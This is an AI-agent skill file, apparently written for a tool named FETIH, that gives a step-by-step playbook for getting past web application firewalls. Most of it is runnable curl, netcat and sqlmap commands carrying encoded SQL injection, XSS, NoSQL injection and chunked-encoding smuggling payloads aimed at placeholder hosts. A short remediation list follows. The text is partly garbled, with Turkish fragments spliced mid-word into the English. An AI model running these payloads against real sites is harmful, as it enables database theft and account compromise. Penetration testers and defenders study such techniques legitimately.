Performing Web Application Firewall Bypass

---
name: performing-web-application-firewall-bypass
description: Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack
  payloads past WAF Tespit rules.
tags:
- waf-evasion
- encoding-bypass
- sql-injection
- siber-güvenlik
- web-security
- waf-bypass
- fetih
- web-application-security
- cybersecurity
- payload-obfuscation
- xss
triggers:
- CSRF
- SQL injection
- XSS
- alert
- api
- application
- bypass
- cloud
- exploit
- firewall
- hash
- http
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Performing Web Application Firewall Bypass


## Ne Zaman Kullanılır
- confirmed yaparken: vulnerabilities are blocked by WAF signature-based Tespit
- During penetration testing where WAF prevents exploitation of known issues
- evaluating yaparken: WAF rule effectiveness against evasion techniques
- During red team engagements requiring bypass of perimeter security controls
- testing yaparken custom WAF rules for completeness and bypass resistance

## Ön Gereksinimler
- Burp Suite Professional with SQLMap integration
- wafw00f for WAF fingerprinting and identification
- SQLMap with tamper scripts for automated WAF bypass
- Understanding of WAF Tespit mechanisms (signature, regex, behavioral)
- Collection of encoding and obfuscation techniques per attack type
- Bilgi: HTTP protocol nuances exploitable for evasion

## İş Akışı

### Adım 1 — Identify and Fingerprint the WAF
```bash
wafw00f http://target.com

curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

curl "http://target.com/page?id=1' OR 1=1--" -v

```

### Adım 2 — Bypass with Encoding and Obfuscation
```bash
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

curl "http://target.com/page?id=1'%00 OR 1=1--"

curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
```

### Adım 3 — Bypass with HTTP Method and Protocol Tricks
```bash
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
```

### Adım 4 — Bypass with Payload Splitting and HPP
```bash
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"
```

### Adım 5 — Use SQLMap Tamper Scripts
```bash
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch
```

### Adım 6 — XSS WAF Bypass Techniques
```bash
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"

curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"

curl "http://target.com/page?q=<script>alert\x601\x60</script>"

curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"

curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |
| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |
| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |
| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |
| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not Denetle: |
| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter Denetle:ion |
| Behavioral vs Signature | WAF Tespit modes: pattern matching (bypassable) vs. anomaly Tespit (harder) |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| wafw00f | WAF fingerprinting and identification |
| SQLMap | Automated SQL injection with WAF bypass tamper scripts |
| waf-bypass.com | Community-maintained WAF bypass payload database |
| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |
| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |
| XSStrike | XSS scanner with WAF Tespit and bypass capabilities |

## Common Scenarios

1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not Denetle:ed by the WAF rules
2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
5. **Method Override** — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not Denetle:

## Output Format

```
## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Tespit Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### İyileştirme
- Enable JSON body Denetle:ion in WAF rules
- Implement behavioral analysis alongside signature Tespit
- Add rules for uncommon HTML tags and event handlers
- Enable deep content Denetle:ion for all HTTP methods
- Implement request normalization before rule evaluation
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: de3b6550225ea1a6
-->